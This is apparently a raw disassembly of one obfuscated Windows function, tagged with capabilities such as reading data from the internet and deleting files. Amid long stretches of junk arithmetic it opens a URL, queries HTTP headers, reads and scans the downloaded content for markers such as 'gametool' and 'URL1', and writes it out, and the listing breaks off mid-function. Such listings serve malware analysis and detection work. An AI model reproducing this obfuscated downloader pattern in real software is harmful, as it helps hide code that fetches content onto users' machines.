Function at 0x401760
Capabilities:
Delete file
Get http content length
Get http request uri
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x4044
call fcn.00415f90
mov eax, dword [0x43d120]
mov dword [esp + 0x4040], eax
mov ecx, dword [0x43c0b0]
mov eax, 0x49f13bb3
imul dword [0x43c0c0]
sar edx, 0xe
push ebx
mov ebx, edx
push esi
mov esi, dword [str._r_____r____]
shr ebx, 0x1f
add ebx, edx
mov eax, 0x3e565a5f
imul esi
mov eax, dword [0x43c0b8]
add eax, ecx
imul eax, eax, 0x17928
mov ecx, eax
sar edx, 0xe
push edi
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x49f13bb3
imul esi
imul esi, esi, 0x8386f
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, ecx
mov ecx, dword [0x43c0ac]
mov edx, ecx
imul edx, edx, 0x94046
add eax, edx
add eax, esi
mov esi, eax
mov eax, 0x7c32ca05
imul dword [0x43c0b4]
sar edx, 0xf
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov dword [esp + 0x14], eax
mov eax, 0x3e565a5f
imul dword [0x43c0b0]
mov eax, dword [esp + 0x14]
sar edx, 0xe
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, dword [0x43c0bc]
mov edx, eax
imul edx, edx, 0xff3e
add esi, edx
mov edx, dword [0x43c0b0]
add eax, edx
imul eax, eax, 0xbc94
mov edx, ecx
imul edx, edx, 0x83eb
add eax, edx
mov edx, dword [0x43c0bc]
imul edx, edx, 0x7f9f
add eax, edx
mov edx, dword [0x43c0c8]
sub esi, edi
sub esi, ebx
sub eax, ebx
add edx, ecx
imul edx, edx, 0x8386f
mov dword [esp + 0x18], edi
mov dword [0x43c0cc], esi
lea eax, [edx + eax*2 - 0x17928]
mov dword [esp + 0x14], eax
mov eax, 0x7c32ca05
imul dword [0x43c0b0]
mov eax, dword [esp + 0x14]
sar edx, 0xf
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, 0x4030a4dd
imul dword [0x43c0b4]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, dword [str.Accept:___r_n_r_n]
mov eax, dword [0x431e10]
mov dword [esp + 0x3c], eax
mov eax, dword [0x431e18]
mov dword [esp + 0x44], eax
mov dword [esp + 0x38], edx
mov edx, dword [0x431e14]
mov dword [esp + 0x40], edx
mov edx, dword [0x43c0b8]
mov eax, edx
imul eax, eax, 0x107d6
mov dword [esp + 0x1c], eax
mov eax, dword [0x43c0b0]
sub ecx, edi
mov edi, dword [0x43c0bc]
sub edi, eax
imul edi, edi, 0xff3e
mov eax, 0x15b86ecf
imul edx
sar edx, 0xd
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x15b86ecf
imul dword [0x43c0b0]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x15b86ecf
imul ecx
sar edx, 0xd
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, dword [0x43c0c8]
imul eax, eax, 0x8386f
mov dword [0x43c0b4], ecx
imul ecx, ecx, 0x106d5
add edi, eax
mov eax, dword [str._r_____r____]
add edi, ecx
mov ecx, dword [esp + 0x1c]
sub edi, ebx
lea edx, [edi + ecx + 0x79ea]
mov ecx, dword [0x43c0b0]
mov edi, dword [0x43c0c4]
add ecx, eax
mov dword [0x43c0c8], edx
imul ecx, ecx, 0x17928
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
imul edi, edi, 0x8386f
mov dword [esp + 0xc], ecx
sub edi, eax
imul esi, esi, 0x106d4
mov eax, 0x7c32ca05
imul dword [0x43c0b8]
sar edx, 0xf
add edi, edx
mov eax, edx
mov edx, dword [0x43c0bc]
shr eax, 0x1f
imul edx, edx, 0x796
add eax, edi
sub eax, edx
mov edi, eax
mov eax, 0x4030a4dd
imul dword [0x43c0b8]
sar edx, 0xe
add edi, edx
mov eax, edx
mov edx, dword [esp + 0x18]
shr eax, 0x1f
add eax, edi
sub eax, edx
sub eax, ebx
add eax, ecx
mov ecx, dword [esp + 0x1c]
lea edx, [eax + ecx - 0x107d6]
xor eax, eax
mov ecx, 0x1000
lea edi, [esp + 0x48]
rep stosd dword es:[edi], eax
mov ecx, dword [0x43c0c0]
mov eax, dword [0x43c0bc]
lea edi, [eax + ecx]
mov ecx, dword [0x43c0ac]
imul edi, edi, 0xff3e
mov dword [0x43c0c4], edx
imul edx, edx, 0xdd94
add edi, edx
mov eax, 0x49f13bb3
imul ecx
imul ecx, ecx, 0x94045
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [esp + 0x18]
sub edi, esi
sub edi, ecx
mov ecx, dword [esp + 0xc]
push 0
sub edi, ebx
push 0x84000100
lea eax, [esp + 0x40]
lea edx, [edi + ecx - 0xff3e]
push eax
mov dword [0x43c0c0], edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
lea ecx, [esp + 0x44]
push ecx
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
test eax, eax
mov dword [esp + 0x2c], eax
jne 0x401b64
mov ecx, dword [0x43c0ac]
mov edx, dword [0x43c0c8]
mov esi, dword [0x43c0b0]
mov eax, dword [0x43c0b8]
add eax, esi
lea edi, [edx + ecx]
imul eax, eax, 0x17928
imul ecx, ecx, 0x8386f
mov edx, dword [0x43c0c0]
imul edi, edi, 0x107d6
add edi, eax
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub edi, eax
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x43c0c4]
mov eax, 0x7c32ca05
imul ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x3e565a5f
imul esi
sub edi, ecx
mov ecx, dword [0x43c0bc]
sar edx, 0xe
imul ecx, ecx, 0xff3e
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, dword [0x43c0cc]
lea edx, [ecx + edi + 0x107ce]
mov dword [0x43c0bc], edx
mov eax, 1
mov ecx, dword [esp + 0x404c]
call fcn.00415ffe
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x43c0b8]
mov eax, dword [0x43c0b0]
lea edi, [ecx + eax]
mov eax, 0x49f13bb3
imul edi, edi, 0x17928
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0c0]
sub edi, eax
mov esi, dword [0x43c0ac]
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov edx, esi
imul edx, edx, 0xb4759
add edi, edx
mov eax, 0x3e565a5f
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3e565a5f
imul esi
mov eax, dword [str._r_____r____]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43c0bc]
imul edx, edx, 0xff3e
add ecx, eax
add ecx, edi
lea eax, [edx + ecx - 0x107d6]
mov ecx, dword [ebp + 0x10]
push 0x431e08
push ecx
mov dword [0x43c0b8], eax
call fcn.004167b2
add esp, 8
mov dword [esp + 0x14], eax
test eax, eax
mov eax, 0x49f13bb3
jne 0x401cd3
mov edx, dword [0x43c0c0]
mov esi, dword [0x43c0b0]
imul edx
mov ecx, dword [0x43c0bc]
lea edi, [ecx + esi]
imul ecx, ecx, 0x7f9f
sar edx, 0xe
imul edi, edi, 0xbc94
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x43c0ac]
mov edx, eax
imul edx, edx, 0x83eb
add edi, edx
add edi, ecx
mov ecx, dword [0x43c0c8]
add ecx, eax
imul ecx, ecx, 0x8386f
mov eax, 0x7c32ca05
imul esi
sar edx, 0xf
lea ecx, [ecx + edi*2 - 0x17928]
add ecx, edx
mov esi, edx
shr esi, 0x1f
add esi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0x3e565a5f
imul ecx
mov ecx, dword [0x43c0b4]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x4030a4dd
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov dword [0x43c0b4], esi
mov eax, 2
mov ecx, dword [esp + 0x404c]
call fcn.00415ffe
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x43c0c0]
imul ecx
mov esi, dword [str._r_____r____]
sar edx, 0xe
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x3e565a5f
imul esi
mov eax, dword [0x43c0ac]
sar edx, 0xe
imul eax, eax, 0x862b1
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x43c0b0]
add ecx, edx
imul ecx, ecx, 0x17928
add ecx, eax
mov eax, 0x49f13bb3
imul dword [0x43c0b4]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x43c0b8]
mov edx, eax
imul edx, edx, 0x106d4
add ecx, edx
mov edx, dword [0x43c0bc]
imul edx, edx, 0x1fe7c
add ecx, edx
sub ecx, ebx
sub ecx, edi
sub ecx, 0x17928
add eax, ecx
imul eax, eax, 0x17928
mov dword [esp + 0x1c], eax
mov eax, dword [0x43c0bc]
imul eax, eax, 0xff3e
mov dword [esp + 0x18], eax
mov eax, 0x49f13bb3
imul esi
imul esi, esi, 0x8386f
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0ac]
imul edx, edx, 0x94046
sub edx, eax
add edx, esi
mov esi, edx
mov eax, 0x7c32ca05
imul dword [0x43c0b4]
sar edx, 0xf
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov dword [esp + 0x20], eax
mov eax, 0x3e565a5f
imul ecx
mov eax, dword [esp + 0x20]
sar edx, 0xe
mov esi, edx
shr esi, 0x1f
add eax, edx
add esi, eax
mov eax, dword [esp + 0x18]
sub esi, ebx
mov ebx, dword [esp + 0x1c]
sub esi, edi
add esi, eax
add esi, ebx
mov dword [0x43c0b0], ecx
mov dword [esp + 0x24], 0
mov dword [0x43c0cc], esi
mov dword [esp + 0x34], 4
mov edx, dword [0x43c0bc]
mov eax, dword [0x43c0b8]
sub eax, edx
lea eax, [eax + ecx + 1]
imul eax, eax, 0x17928
mov dword [esp + 0x20], eax
mov ecx, dword [0x43c0ac]
mov ebx, dword [0x43c0c4]
mov eax, 0x49f13bb3
imul ecx
imul ecx, ecx, 0x94045
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x20]
sub edx, eax
add edx, ecx
mov dword [esp + 0x20], edx
mov eax, 0x3e565a5f
imul ebx
mov eax, dword [esp + 0x20]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
mov dword [esp + 0x20], eax
mov eax, 0x4030a4dd
imul dword [0x43c0c0]
mov eax, dword [esp + 0x20]
sar edx, 0xe
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, dword [esp + 0x18]
sub ecx, edi
add ecx, eax
mov eax, 0x15b86ecf
imul dword [0x43c0c8]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0xc], eax
mov eax, 0x49f13bb3
imul ebx
add ecx, ebx
sar edx, 0xe
mov dword [0x43c0ac], ecx
imul ecx, ecx, 0x94045
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
sub edx, eax
add edx, ecx
mov dword [esp + 0xc], edx
mov eax, 0x3e565a5f
imul dword [0x43c0c8]
mov eax, dword [esp + 0xc]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
mov ecx, eax
mov eax, 0x4030a4dd
imul dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
add ecx, edx
mov edx, dword [esp + 0x18]
shr eax, 0x1f
add eax, ecx
mov ecx, dword [esp + 0x1c]
sub eax, edi
mov dword [esp + 0x20], 0
add eax, edx
add eax, ecx
push 0
lea ecx, [eax + esi - 0x84107]
lea edx, [esp + 0x38]
push edx
lea eax, [esp + 0x2c]
push eax
mov dword [str._r_____r____], ecx
mov ecx, dword [esp + 0x38]
push 0x20000005
push ecx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
mov ebx, dword [str._r_____r____]
mov esi, dword [0x43c0ac]
jne 0x402093
mov eax, 0x49f13bb3
imul dword [0x43c0c0]
mov eax, dword [0x43c0b0]
sar edx, 0xe
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x43c0b8]
lea ecx, [edx + eax]
imul ecx, ecx, 0x17928
mov eax, 0x49f13bb3
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, esi
imul edx, edx, 0x94046
add ecx, edx
mov eax, ebx
imul eax, eax, 0x8386f
add ecx, eax
mov eax, 0x7c32ca05
imul dword [0x43c0b4]
sar edx, 0xf
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov dword [esp + 0x24], eax
mov eax, 0x3e565a5f
imul ebx
mov eax, dword [esp + 0x24]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub eax, ecx
mov ecx, eax
mov eax, 0x3e565a5f
imul dword [0x43c0b0]
sar edx, 0xe
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x43c0bc]
mov edx, ecx
imul edx, edx, 0xff3e
add eax, edx
mov edx, dword [0x43c0b0]
sub eax, edi
mov dword [0x43c0cc], eax
sub ecx, edx
mov eax, 0x15b86ecf
imul ecx, ecx, 0xff3e
imul dword [0x43c0b8]
sar edx, 0xd
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, eax
mov eax, 0x15b86ecf
imul dword [0x43c0b0]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x15b86ecf
imul dword [0x43c0b4]
sar edx, 0xd
mov eax, ecx
mov ecx, edx
mov dword [esp + 0x24], 0
shr ecx, 0x1f
add eax, edx
mov edx, dword [0x43c0c8]
add ecx, eax
imul edx, edx, 0x8386f
mov eax, dword [0x43c0b8]
imul eax, eax, 0x107d6
add ecx, edx
add ecx, eax
mov eax, dword [0x43c0b4]
imul eax, eax, 0x106d5
add ecx, eax
sub ecx, edi
add ecx, 0x79ea
mov dword [0x43c0c8], ecx
jmp 0x402099
mov ecx, dword [0x43c0c8]
mov edx, dword [0x43c0b0]
lea eax, [ebx + edx]
imul eax, eax, 0x17928
mov dword [esp + 0xc], eax
mov eax, 0x49f13bb3
imul dword [0x43c0c0]
sar edx, 0xe
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x3e565a5f
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [esp + 0x18], eax
mov ebx, dword [0x43c0c4]
imul ebx, ebx, 0x8386f
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x7c32ca05
imul dword [0x43c0b8]
sar edx, 0xf
add ebx, edx
mov eax, edx
mov edx, dword [0x43c0b8]
shr eax, 0x1f
add eax, ebx
mov ebx, edx
imul ebx, ebx, 0x107d6
add eax, ebx
mov ebx, dword [0x43c0bc]
imul ebx, ebx, 0x796
sub eax, ebx
mov ebx, eax
mov eax, 0x4030a4dd
imul edx
sar edx, 0xe
add ebx, edx
mov eax, edx
mov edx, dword [esp + 0xc]
shr eax, 0x1f
add eax, ebx
sub eax, dword [esp + 0x18]
mov ebx, dword [0x43c0c0]
sub eax, edi
lea eax, [eax + edx - 0x107d6]
mov edx, dword [0x43c0bc]
mov dword [0x43c0c4], eax
imul eax, eax, 0xdd94
add edx, ebx
imul edx, edx, 0xff3e
add edx, eax
mov dword [esp + 0x1c], edx
mov eax, 0x49f13bb3
imul esi
mov ebx, dword [0x43c0cc]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x1c]
sub edx, eax
mov eax, esi
imul eax, eax, 0x94045
add edx, eax
mov eax, ebx
imul eax, eax, 0x106d4
sub edx, eax
sub edx, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
sub edx, edi
lea edx, [edx + eax - 0xff3e]
mov eax, dword [0x43c0b8]
lea edi, [ecx + esi]
imul esi, esi, 0x8386f
mov ecx, dword [0x43c0b0]
imul edi, edi, 0x107d6
add eax, ecx
imul eax, eax, 0x17928
add edi, eax
mov dword [0x43c0c0], edx
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x49f13bb3
imul dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x7c32ca05
imul dword [0x43c0c4]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
add edi, esi
sub edi, eax
mov eax, 0x3e565a5f
imul ecx
mov eax, dword [0x43c0bc]
sar edx, 0xe
imul eax, eax, 0xff3e
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
add edi, ebx
lea edx, [eax + edi + 0x107ce]
mov dword [0x43c0bc], edx
call dword [sym.imp.WINMM.dll_timeGetTime]
mov ecx, dword [0x43c0c0]
mov edi, dword [0x43c0bc]
mov esi, dword [0x43c0b8]
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43c0b0]
mov ebx, edi
sub ebx, edx
mov eax, 0x15b86ecf
imul ebx, ebx, 0xff3e
imul esi
sar edx, 0xd
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x15b86ecf
imul dword [0x43c0b0]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x15b86ecf
imul dword [0x43c0b4]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov edx, dword [0x43c0c8]
imul edi, edi, 0xff3e
imul edx, edx, 0x8386f
add eax, edx
mov edx, esi
imul edx, edx, 0x107d6
add eax, edx
mov ebx, eax
mov eax, dword [0x43c0b4]
imul eax, eax, 0x106d5
add ebx, eax
mov eax, dword [0x43c0b0]
add eax, esi
imul eax, eax, 0x17928
mov dword [esp + 0xc], eax
mov eax, 0x49f13bb3
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
sub edx, eax
sub ebx, ecx
add ebx, 0x79ea
mov dword [0x43c0c8], ebx
mov ebx, dword [0x43c0ac]
mov eax, ebx
imul eax, eax, 0xb4759
add edx, eax
mov dword [esp + 0xc], edx
mov eax, 0x3e565a5f
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
sub edx, eax
mov esi, edx
mov eax, 0x3e565a5f
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
add eax, edi
sub eax, ecx
mov ecx, dword [str._r_____r____]
lea edx, [eax + ecx - 0x107d6]
lea eax, [esp + 0x28]
push eax
push 0x4000
lea ecx, [esp + 0x50]
mov dword [0x43c0b8], edx
mov edx, dword [esp + 0x34]
push ecx
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x402c2d
lea esp, [esp]
mov ebx, dword [0x43c0c0]
mov eax, dword [0x43c0b0]
mov ecx, dword [0x43c0ac]
add eax, ebx
imul eax, eax, 0x17928
mov edx, ecx
imul edx, edx, 0x862b1
add eax, edx
mov dword [esp + 0xc], eax
mov eax, 0x49f13bb3
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
sub edx, eax
mov dword [esp + 0xc], edx
mov eax, 0x49f13bb3
imul dword [0x43c0b4]
sar edx, 0xe
mov esi, dword [str._r_____r____]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
sub edx, eax
mov eax, dword [0x43c0b8]
imul eax, eax, 0x106d4
add edx, eax
mov edi, dword [0x43c0bc]
mov dword [esp + 0xc], edx
mov eax, 0x3e565a5f
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
sub edx, eax
mov eax, edi
imul eax, eax, 0x1fe7c
lea eax, [edx + eax - 0x17928]
mov edx, dword [esp + 0x28]
test edx, edx
mov dword [0x43c0b0], eax
je 0x402cf7
mov esi, dword [ebp + 0xc]
push str..txt
push esi
call fcn.004166d0
add esp, 8
test eax, eax
jne 0x40248c
push str..TXT
push esi
call fcn.004166d0
add esp, 8
test eax, eax
je 0x40257e
mov ecx, dword [0x43c0bc]
mov edx, dword [0x43c0b8]
mov eax, dword [0x43c0b0]
mov edi, dword [0x43c0c0]
sub edx, ecx
imul ecx, ecx, 0xff3e
lea ebx, [edx + eax + 1]
mov esi, dword [0x43c0ac]
imul ebx, ebx, 0x17928
mov eax, 0x49f13bb3
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x49f13bb3
imul esi
imul esi, esi, 0x94045
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, esi
mov esi, dword [0x43c0c4]
mov eax, 0x3e565a5f
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x4030a4dd
imul edi
sar edx, 0xe
mov eax, edx
add ecx, esi
shr eax, 0x1f
add ecx, ebx
add eax, edx
add eax, ecx
lea ecx, [esp + 0x48]
push 0x431df4
push ecx
mov dword [0x43c0ac], eax
call fcn.004166d0
add esp, 8
test eax, eax
jne 0x402fe0
lea edx, [esp + 0x48]
push str.gametool
push edx
call fcn.004166d0
add esp, 8
test eax, eax
jne 0x40257e
lea eax, [esp + 0x48]
push str.version
push eax
call fcn.004166d0
add esp, 8
test eax, eax
jne 0x40257e
lea ecx, [esp + 0x48]
push str.URL1
push ecx
call fcn.004166d0
add esp, 8
test eax, eax
je 0x402fe0
mov edx, dword [0x43c0b0]
mov eax, dword [0x43c0b8]
mov ecx, dword [0x43c0c8]
lea esi, [eax + edx]
imul esi, esi, 0x17928
mov eax, 0x15b86ecf
imul ecx
sar edx, 0xd
add esi, edx
mov edi, edx
mov edx, dword [0x43c0c4]
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0c0]
shr edi, 0x1f
add edi, esi
sub edi, eax
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
mov esi, dword [0x43c0bc]
shr eax, 0x1f
imul esi, esi, 0xff3e
add eax, edx
mov edx, dword [0x43c0ac]
imul edx, edx, 0x94045
sub edi, eax
add edi, edx
mov eax, 0x3e565a5f
imul ecx
mov ecx, dword [0x43c0cc]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
add esi, ecx
mov ecx, dword [str._r_____r____]
sub edi, eax
mov eax, 0x4030a4dd
imul ecx
mov eax, dword [esp + 0x14]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add esi, edi
lea edx, [ecx + esi - 0x84107]
mov ecx, dword [esp + 0x28]
push eax
push ecx
mov dword [str._r_____r____], edx
lea edx, [esp + 0x50]
push 1
push edx
call fcn.00416680
mov ebx, dword [str._r_____r____]
mov eax, 0x49f13bb3
imul dword [0x43c0c0]
mov eax, dword [0x43c0b0]
sar edx, 0xe
mov esi, dword [0x43c0ac]
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43c0b8]
lea edi, [edx + eax]
mov eax, 0x49f13bb3
imul edi, edi, 0x17928
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
add esp, 0x10
sub edi, eax
mov edx, esi
imul edx, edx, 0x94046
add edi, edx
mov eax, ebx
imul eax, eax, 0x8386f
add edi, eax
mov eax, 0x7c32ca05
imul dword [0x43c0b4]
sar edx, 0xf
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x3e565a5f
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3e565a5f
imul dword [0x43c0b0]
sar edx, 0xe
add edi, edx
mov eax, edx
mov edx, dword [0x43c0bc]
shr eax, 0x1f
add eax, edi
mov edi, edx
imul edi, edi, 0xff3e
add eax, edi
mov edi, dword [esp + 0x20]
sub eax, ecx
mov dword [0x43c0cc], eax
add edi, dword [esp + 0x28]
mov eax, dword [esp + 0x24]
test eax, eax
mov dword [esp + 0x20], edi
je 0x40289c
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x40289c
mov esi, dword [0x43c0b0]
mov ebx, edx
sub ebx, esi
mov eax, 0x15b86ecf
imul ebx, ebx, 0xff3e
imul dword [0x43c0b8]
sar edx, 0xd
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x15b86ecf
imul esi
mov esi, dword [0x43c0b4]
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x15b86ecf
imul esi
imul esi, esi, 0x106d5
sar edx, 0xd
mov eax, edx
add ebx, edx
mov edx, dword [0x43c0c8]
imul edx, edx, 0x8386f
shr eax, 0x1f
add eax, ebx
add eax, edx
mov edx, dword [0x43c0b8]
imul edx, edx, 0x107d6
add eax, edx
add eax, esi
sub eax, ecx
add eax, 0x79ea
mov dword [0x43c0c8], eax
mov eax, edi
imul eax, eax, 0x64
xor edx, edx
div dword [esp + 0x24]
mov edi, dword [ebp + 0x14]
push 0
push eax
mov eax, dword [ebp + 0x1c]
push 0x402
push eax
push edi
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
mov ecx, dword [0x43c0b0]
mov esi, dword [str._r_____r____]
lea ebx, [esi + ecx]
mov ecx, dword [0x43c0c8]
imul ebx, ebx, 0x17928
mov eax, 0x49f13bb3
imul ecx
mov ecx, dword [0x43c0c0]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x49f13bb3
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x43c0c4]
imul edx, edx, 0x8386f
sub ebx, ecx
mov ecx, dword [0x43c0b8]
add ebx, edx
mov eax, 0x7c32ca05
imul ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, ecx
imul edx, edx, 0x107d6
add eax, ebx
add eax, edx
mov edx, dword [0x43c0bc]
imul edx, edx, 0x796
sub eax, edx
mov ebx, eax
mov eax, 0x3e565a5f
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x4030a4dd
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
lea edx, [ecx + ebx - 0x107d6]
push edi
mov dword [0x43c0c4], edx
call dword [sym.imp.USER32.dll_UpdateWindow]
mov ebx, dword [str._r_____r____]
mov esi, dword [0x43c0ac]
mov eax, 0x49f13bb3
imul esi
mov eax, dword [0x43c0b0]
lea ecx, [ebx + eax]
mov eax, dword [0x43c0bc]
imul ecx, ecx, 0x17928
sar edx, 0xe
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x43c0c0]
add eax, edx
imul eax, eax, 0xff3e
add ecx, eax
mov eax, dword [0x43c0c4]
imul eax, eax, 0xdd94
add ecx, eax
mov eax, 0x49f13bb3
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, esi
imul edx, edx, 0x94045
add ecx, edx
mov eax, 0x3e565a5f
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43c0cc]
sub ecx, eax
imul edx, edx, 0x106d4
mov eax, dword [0x43c0b8]
sub ecx, edx
mov edx, dword [0x43c0b0]
add eax, edx
imul eax, eax, 0x17928
mov dword [esp + 0x1c], eax
sub ecx, edi
sub ecx, 0xff3e
mov eax, 0x49f13bb3
imul ecx
mov eax, esi
imul eax, eax, 0x8386f
mov dword [esp + 0xc], eax
mov eax, dword [0x43c0c8]
add eax, esi
imul eax, eax, 0x107d6
sar edx, 0xe
mov dword [esp + 0x18], eax
mov dword [esp + 0x10], edi
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x49f13bb3
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x18]
sub edx, eax
